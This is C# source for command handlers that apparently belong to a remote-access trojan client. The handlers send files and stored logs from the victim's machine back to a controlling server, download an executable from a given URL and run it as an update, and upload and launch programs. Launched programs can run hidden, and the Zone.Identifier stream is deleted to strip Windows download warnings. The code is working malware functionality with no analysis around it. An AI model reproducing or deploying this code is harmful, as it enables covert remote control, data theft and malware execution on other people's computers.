public static void HandleDoDownloadFile(Packets.ServerPackets.DoDownloadFile command, Client client) { new Thread(() => { try { FileSplit srcFile = new FileSplit(command.RemotePath); if (srcFile.MaxBlocks < 0) new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "", new byte[0], -1, -1, srcFile.LastError).Execute(client); for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) { if (!client.Connected) return; if (_canceledDownloads.ContainsKey(command.ID)) return; byte[] block; if (srcFile.ReadBlock(currentBlock, out block)) { new Packets.ClientPackets.DoDownloadFileResponse(command.ID, Path.GetFileName(command.RemotePath), block, srcFile.MaxBlocks, currentBlock, srcFile.LastError).Execute(client); } else new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "", new byte[0], -1, -1, srcFile.LastError).Execute(client); } } catch (Exception ex) { new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "", new byte[0], -1, -1, ex.Message) .Execute(client); } }).Start(); }
public static void HandleGetLogs(Packets.ServerPackets.GetLogs command, Client client) { new Thread(() => { try { int index = 1; string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\"; if (!Directory.Exists(path)) { new Packets.ClientPackets.GetLogsResponse("", new byte[0], -1, -1, "", index, 0).Execute(client); return; } FileInfo[] iFiles = new DirectoryInfo(path).GetFiles(); if (iFiles.Length == 0) { new Packets.ClientPackets.GetLogsResponse("", new byte[0], -1, -1, "", index, 0).Execute(client); return; } foreach (FileInfo file in iFiles) { FileSplit srcFile = new FileSplit(file.FullName); if (srcFile.MaxBlocks < 0) new Packets.ClientPackets.GetLogsResponse("", new byte[0], -1, -1, srcFile.LastError, index, iFiles.Length).Execute(client); for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) { byte[] block; if (srcFile.ReadBlock(currentBlock, out block)) { new Packets.ClientPackets.GetLogsResponse(Path.GetFileName(file.Name), block, srcFile.MaxBlocks, currentBlock, srcFile.LastError, index, iFiles.Length).Execute(client); //Thread.Sleep(200); } else new Packets.ClientPackets.GetLogsResponse("", new byte[0], -1, -1, srcFile.LastError, index, iFiles.Length).Execute(client); } index++; } } catch (Exception ex) { new Packets.ClientPackets.GetLogsResponse("", new byte[0], -1, -1, ex.Message, -1, -1).Execute(client); } }).Start(); }
public static void HandleUpdate(Packets.ServerPackets.Update command, Client client) { // i dont like this updating... if anyone has a better idea feel free to edit it if (string.IsNullOrEmpty(command.DownloadURL)) { string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), command.FileName); try { if (command.CurrentBlock == 0 && command.Block[0] != 'M' && command.Block[1] != 'Z') throw new Exception("No executable file"); FileSplit destFile = new FileSplit(filePath); if (!destFile.AppendBlock(command.Block, command.CurrentBlock)) { new Packets.ClientPackets.Status(string.Format("Writing failed: {0}", destFile.LastError)).Execute( client); return; } if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload finished { new Packets.ClientPackets.Status("Updating...").Execute(client); SystemCore.UpdateClient(client, filePath); } } catch (Exception ex) { DeleteFile(filePath); new Packets.ClientPackets.Status(string.Format("Update failed: {0}", ex.Message)).Execute(client); } return; } new Thread(() => { new Packets.ClientPackets.Status("Downloading file...").Execute(client); string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.Helper.GetRandomFilename(12, ".exe")); try { using (WebClient c = new WebClient()) { c.Proxy = null; c.DownloadFile(command.DownloadURL, tempFile); } } catch { new Packets.ClientPackets.Status("Download failed!").Execute(client); return; } new Packets.ClientPackets.Status("Updating...").Execute(client); SystemCore.UpdateClient(client, tempFile); }).Start(); }
public static void HandleUploadAndExecute(Packets.ServerPackets.UploadAndExecute command, Client client) { string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), command.FileName); try { if (command.CurrentBlock == 0 && command.Block[0] != 'M' && command.Block[1] != 'Z') throw new Exception("No executable file"); FileSplit destFile = new FileSplit(filePath); if (!destFile.AppendBlock(command.Block, command.CurrentBlock)) { new Packets.ClientPackets.Status(string.Format("Writing failed: {0}", destFile.LastError)).Execute( client); return; } if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute { DeleteFile(filePath + ":Zone.Identifier"); ProcessStartInfo startInfo = new ProcessStartInfo(); if (command.RunHidden) { startInfo.WindowStyle = ProcessWindowStyle.Hidden; startInfo.CreateNoWindow = true; } startInfo.UseShellExecute = command.RunHidden; startInfo.FileName = filePath; Process.Start(startInfo); new Packets.ClientPackets.Status("Executed File!").Execute(client); } } catch (Exception ex) { DeleteFile(filePath); new Packets.ClientPackets.Status(string.Format("Execution failed: {0}", ex.Message)).Execute(client); } }